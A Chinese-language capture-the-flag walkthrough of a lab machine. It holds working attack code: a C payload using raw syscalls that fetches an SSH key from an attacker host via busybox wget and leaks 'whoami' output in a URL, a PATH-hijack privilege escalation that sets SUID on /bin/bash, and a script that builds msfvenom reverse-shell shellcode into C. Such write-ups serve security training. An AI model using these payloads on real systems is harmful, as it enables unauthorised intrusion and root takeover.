一、信息收集

1. 主机发现与端口扫描

首先，在本地网络中利用 `arp-scan` 扫描存活主机，定位目标IP。随后，使用 `nmap` 对目标主机进行全端口扫描，以识别其开放的端口与服务。

主机发现:

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo arp-scan -l
...
192.168.205.145 08:00:27:8f:61:6e       PCS Systemtechnik GmbH
...
```

通过ARP扫描，确认目标主机的IP地址为 `192.168.205.145`。

端口扫描:

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -p0-65535 192.168.205.145
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-14 22:40 EDT
Nmap scan report for 192.168.205.145
Host is up (0.00026s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:8F:61:6E (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.21 seconds
```

Nmap的扫描结果显示，目标主机对外开放了 **22 (SSH)** 和 **80 (HTTP)** 两个TCP端口。

二、漏洞发现与初始访问

1. Web服务侦察与漏洞分析

通过浏览器访问 `http://192.168.205.145`，发现一个提供C语言在线编译和执行功能的Web应用。通过审查页面源代码注释，我们获取了其后端的编译指令：

```
gcc -std=c11 -nostdinc -I/var/www/include -z execstack -fno-stack-protector -no-pie test.c -o a.out
```

此编译命令中包含一个关键参数 `-nostdinc`。该参数的作用是阻止编译器链接任何标准库的头文件（例如 `stdio.h`, `unistd.h` 等）。这意味着，所有依赖标准库函数（如 `system()`, `fork()`, `execve()`）的常规反弹Shell Payload均会因链接失败而无法通过编译，常规的攻击方式在此处失效。

2. 绕过编译限制获取Shell

为了成功绕过 `-nostdinc` 参数带来的限制，我们不能依赖C语言的库函数，而必须转向更底层的实现方式：通过内联汇编直接执行系统调用（syscall）。

攻击思路如下：
构造一个特殊的C语言Payload，其核心是利用内联汇编直接调用 `execve` 系统调用来执行任意命令。该命令将指示目标服务器从我们的攻击机上下载预先准备好的SSH公钥，并将其写入目标用户 `echo` 的 `~/.ssh/authorized_keys` 文件中，从而为我们建立一个持久化的SSH免密登录通道。（这里需要注意，Sublarge设置了timeout 3s，所以尽量写authorized_keys，或者使用Sublarge的思路）

ps:Sublarge的办法在文末

Payload (`exploit.c`):

```
long syscall(long num, long p1, long p2, long p3);

int main() {
    char *sh = "/bin/bash";
    char *arg1 = "bash";
    char *arg2 = "-c";
    char *cmd = "mkdir -p ~/.ssh && busybox wget
http://192.168.205.128/authorized_keys -O ~/.ssh/authorized_keys && chmod 700
~/.ssh && chmod 600 ~/.ssh/authorized_keys && busybox wget
http://192.168.205.128:80?$(whoami)";

    const long SYS_EXECVE = 59;


    char *argv[] = {arg1, arg2, cmd, 0};

    syscall(SYS_EXECVE, (long)sh, (long)argv, 0);


    while(1) {
        syscall(37, 0, 0, 0);
    }

    return 0;
}

long syscall(long num, long p1, long p2, long p3) {
    long ret;
    __asm__ volatile (
        "movq %1, %%rax\n"
        "movq %2, %%rdi\n"
        "movq %3, %%rsi\n"
        "movq %4, %%rdx\n"
        "syscall\n"
        "movq %%rax, %0\n"
        : "=m"(ret)
        : "m"(num), "m"(p1), "m"(p2), "m"(p3)
        : "rax", "rdi", "rsi", "rdx"
    );
    return ret;
}
```

执行步骤：

1. 在攻击机（`192.168.205.128`）上生成SSH密钥对，将公钥内容保存为 `authorized_keys` 文件，并于文件所在目录启动一个临时的HTTP服务。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

2. 将上述 `exploit.c` 的代码粘贴到目标Web应用的输入框中，并提交执行。
3. 观察攻击机上HTTP服务的日志，确认文件下载和命令执行情况。

```
192.168.205.145 - - [14/Aug/2025 23:06:01] "GET /authorized_keys HTTP/1.1"
200 -
192.168.205.145 - - [14/Aug/2025 23:06:01] "GET /?echo HTTP/1.1" 404 -
```

日志清晰地显示，目标主机首先成功请求了 `authorized_keys` 文件。随后，第二个请求的路径中包含了 `echo` 字符串，这是 `whoami` 命令执行结果的回显，从而确认了Web服务的运行用户为 `echo`。

3. 获取初始访问权限

既然SSH公钥已成功部署到目标主机 `echo` 用户的家中，现在我们可以使用对应的私钥直接进行SSH登录。

```
ssh echo@192.168.205.145
```

成功登录后，通过 `id` 命令验证当前用户身份。

```
echo@Sysadmin:~$ id
uid=1000(echo) gid=1000(echo) groups=1000(echo)
```

至此，我们已成功获取了用户 `echo` 的交互式Shell，完成了初始访问。

三、权限提升

1. Sudo权限枚举

在获得初始立足点后，首要任务是探查是否存在权限提升的路径。我们检查当前用户 `echo` 的 `sudo` 配置。

```
echo@Sysadmin:~$ sudo -l
Matching Defaults entries for echo on Sysadmin:
    !env_reset, mail_badpass, !env_reset, always_set_home

User echo may run the following commands on Sysadmin:
    (root) NOPASSWD: /usr/local/bin/system-info.sh
```

`sudo -l` 的输出揭示了关键信息：

1. `!env_reset`：这是一个非常重要的安全配置。它告知我们，当 `echo` 用户使用 `sudo` 执行命令时，系统**不会**重置大部分用户的环境变量，其中就包括 `PATH` 环境变量。这个特性是本次提权漏洞的核心。
2. **(root) NOPASSWD: /usr/local/bin/system-info.sh**：用户 `echo` 可以无需密码，以 `root` 权限执行 `/usr/local/bin/system-info.sh` 这个脚本。

2. PATH环境变量劫持

接下来，我们审计该脚本的源代码，以分析是否存在可利用的缺陷。

```
echo@Sysadmin:~$ cat /usr/local/bin/system-info.sh
#!/bin/bash
#====================================
# Daily System Info Report
#====================================
echo "Starting daily system information collection at $(date)"
echo "------------------------------------------------------------"
echo "Checking disk usage..."
df -h
echo "Checking log directory..."
ls -lh /var/log/
find /var/log/ -type f -name "*.gz" -mtime +30 -exec rm {} \;
echo "Checking critical services..."
systemctl is-active sshd
systemctl is-active cron
echo "Collecting CPU and memory information..."
cat /proc/cpuinfo
free -m
echo "------------------------------------------------------------"
echo "Report complete at $(date)"
```

代码审计发现，脚本中调用的 `df`, `ls`, `find`, `systemctl`, `cat`, `free` 等一系列命令均未使用其绝对路径（如 `/bin/df`），而是直接使用相对路径。结合前述的 `!env_reset` 配置，一个经典的**PATH环境变量劫持**攻击路径就此形成。当脚本以 `root` 权限运行时，它会依据 `echo` 用户自定义的 `PATH` 环境变量来查找这些命令。

3. 提权至Root

攻击步骤：

1. 首先，在 `echo` 用户的家目录下创建一个名为 `df` 的恶意脚本。我们的目标是利用 `root` 权限为 `/bin/bash` 程序赋予SUID权限位，从而创建一个 "root shell后门"。

   ```
   echo@Sysadmin:~$ echo '#!/bin/bash' > df
   echo@Sysadmin:~$ echo 'chmod +s /bin/bash' >> df
   echo@Sysadmin:~$ chmod +x df
   ```

2. 接着，修改 `PATH` 环境变量，将当前目录（`.`）添加到其最前端。这样一来，当系统查找 `df` 命令时，会优先在我们创建的恶意脚本所在目录中找到并执行它。

   ```
   echo@Sysadmin:~$ export PATH=.:$PATH
   ```

3. 万事俱备，以 `root` 权限执行目标脚本，触发我们的Payload。

```
echo@Sysadmin:~$ sudo -u root /usr/local/bin/system-info.sh
```

脚本在执行到 `df -h` 时，会调用我们伪造的 `df` 程序，从而以 `root` 权限执行了 `chmod +s /bin/bash`。

4. 验证 `/bin/bash` 的权限，确认SUID位是否已成功设置。

```
echo@Sysadmin:~$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1168776 Apr 18  2019 /bin/bash
```

权限位中的 `s` 明确表示SUID位设置成功。

5. 最后，利用这个带有SUID权限的 `bash` 来获取 `root` Shell。`-p` 参数用于确保 `bash` 在启动时不会因为安全原因放弃由SUID获得的有效用户ID（EUID）。

```
echo@Sysadmin:~$ bash -p
bash-5.0# id
uid=1000(echo) gid=1000(echo) euid=0(root) egid=0(root)
groups=0(root),1000(echo)
```

`euid=0(root)` 的输出确认我们已成功提权至 `root` 用户。

4. 获取Flag

成功获得最高权限后，读取并提交所有的flag文件。

```
bash-5.0# cat /root/root.txt /home/echo/user.txt
flag{root-8b8a8b353298f798e3eb8628661617b6}
flag{user-9592f6e02a7abaf9e38c0ef43e868cf3}
```

渗透测试至此顺利完成。

Sublarge思路

Sublarge Payload (`a.sh`):

```
#!/usr/bin/env bash
LHOST="192.168.56.10"
LPORT="4444"
OUT_C="test.c"

# 1. 生成原始 shellcode
msfvenom -p linux/x64/shell_reverse_tcp \
         LHOST="$LHOST" LPORT="$LPORT" \
         -f raw 2>/dev/null > /tmp/rev.raw
[[ -s /tmp/rev.raw ]] || { echo "[-] msfvenom failed"; exit 1; }

# 2. 用十六进制格式输出
SC_HEX=$(xxd -p -c 1 /tmp/rev.raw | sed 's/^/0x/' | paste -sd',' -)

# 3. 写 C 文件：子进程后台执行
```

```
cat > "$OUT_C" <<EOF
int fork(void);
int execve(const char *p,char *const a[],char *const e[]);

int main(void)
{
    if (fork() == 0) {
        unsigned char sc[] = {$SC_HEX};
        ((void(*)())sc)();
    }
    return 0;
}
EOF

echo "[+] Generated $OUT_C (forked)"
```

执行步骤：

1. 运行a.sh
2. 将生成的test.c上传到服务器
3. 监听